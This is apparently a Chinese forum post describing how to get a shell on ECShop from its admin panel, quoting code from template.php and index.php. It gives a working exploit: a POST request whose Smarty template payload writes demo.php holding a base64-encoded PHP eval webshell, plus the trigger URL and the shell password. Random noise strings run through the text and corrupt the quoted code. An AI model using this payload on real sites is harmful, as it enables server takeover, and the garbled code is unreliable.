Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. W" y* g- T2 o" F: t% \
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
+ o6 f& }) O$ F+ T8 M5 f2 [但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
$ Q- T) Q! d2 c. |0 @4 g
3 Q: o' t1 A# ?1 ~6 ]7 O1 if ($_REQUEST['act'] == 'update_library')

2   
& Y& J, [8 k4 \& D  s
3 {

4 C3 ^9 s, Z+ N4     check_authz_json('library_manage');

' m2 i: L( r: N0 W% \6 M( r5   
% m: e- |4 A) X7 [0 g
/ Q3 e1 [0 O5 _2 T: R3 t6     $html = stripslashes(json_str_iconv($_POST['html']));

6 N; g1 i" D* R7   

! M6 i+ @& Q, v8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

. G* x9 V8 `+ ?% U- {9   
( [7 y2 H7 O' T4 G
" _+ J; |  c8 T" v- ^10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

( X9 z: ?6 l  v/ E0 J5 D12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
; _4 q" e2 \; F$ Q/ L/ ~" b- ^
13   
% K2 ?& h5 a6 W9 H) t
( U5 Z/ k8 F4 H* S14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
  H$ r' s9 X5 S# b: i$ S
15     {
% N8 ^+ R2 f4 Z7 c4 m0 E# s0 r
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);
& t3 y1 H8 B  v- \4 N& l8 h, U
18     }

19     else

20     {
+ z: g( Z5 o' A! B( B! A1 Q2 F
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
6 _. G4 ~, C7 ~  e# w+ u5 \9 C7 _
23 }

那么找个比较方便调用了模板的文件
index.php
2 s$ r. @0 u8 [/ r
1 if ($act == 'cat_rec')
9 e2 m6 s7 n0 @1 @; V
2 ]! n- q1 s# [) [. \) w& ~0 o* w5 ~: w1 [2   

8 T- N0 J7 K7 R2 X. P3 H3 {
7 o* c, v( }) S& \, _5 ~0 C
3 i( d& Z' \/ Y1 ^6 l4   
; f3 H- D$ o$ [0 S; w2 ^. X! z* d7 {
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
/ h/ H  c. B7 G$ E, n
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 T7 b) u$ `2 M, u4 d7 b0 q
8   
* a+ e$ o; ~% V0 K, q4 ]
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11     include_once('includes/cls_json.php');

12   

2 t3 d" S. I7 e% @) X6 {8 V8 E13     $json = new JSON;
  t9 ?" T- n+ i$ Y' j
14   
* l- H! ~+ F- N2 `* U" v
7 s( O+ w1 m$ A" C; L4 b' V( @15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ R# G% Z7 x. o, B% b5 Q
0 t6 {- M- d0 f7 @" b- v5 l16   

17     $children = get_children($cat_id);
0 v( i8 Z2 J, t5 I* B# ]
18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

. c" {* L8 B" k8 s# k% T20   

& [  B, r- X2 n) g6 ~21     $smarty->assign('cat_rec_sign', 1);
, i1 t7 ^% ^; I! G
, }" ], n, [  K  D; l5 P22   

" q8 ]3 k5 n4 Q( m3 `4 E! l8 c7 s23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
% j& z: w, k# z
" @/ V/ m- x. @- }2 |# D25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

7 U1 K1 M+ L1 n! P26   

/ m: j9 z% D# U. `- H! C27         echo $rec_array[$rec_type];

, g" ?6 D: d+ \4 F28   
) m$ ?  d0 L- ]" R, S
  Q4 Z5 [: A1 k, |/ V. i6 S5 R29     die($json->encode($result));

4 U# z7 h- S3 l30   
& i& @/ |2 t% M4 c0 O8 _
31 }
8 m/ ~  t' f9 d, M" j
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
" D% ]1 n  F2 i+ f& gPost内容：
8 `! e$ T: `+ A3 F# ]0 s: [! X
​
! w* n1 O. R' K# B; ]7 s! t1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

/ g1 r9 T! L0 Z- q% T然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
, q& ~6 g" |; [1 ?; l; u7 n; a密码c
: i5 e! r" Q1 d$ o- A" e7 L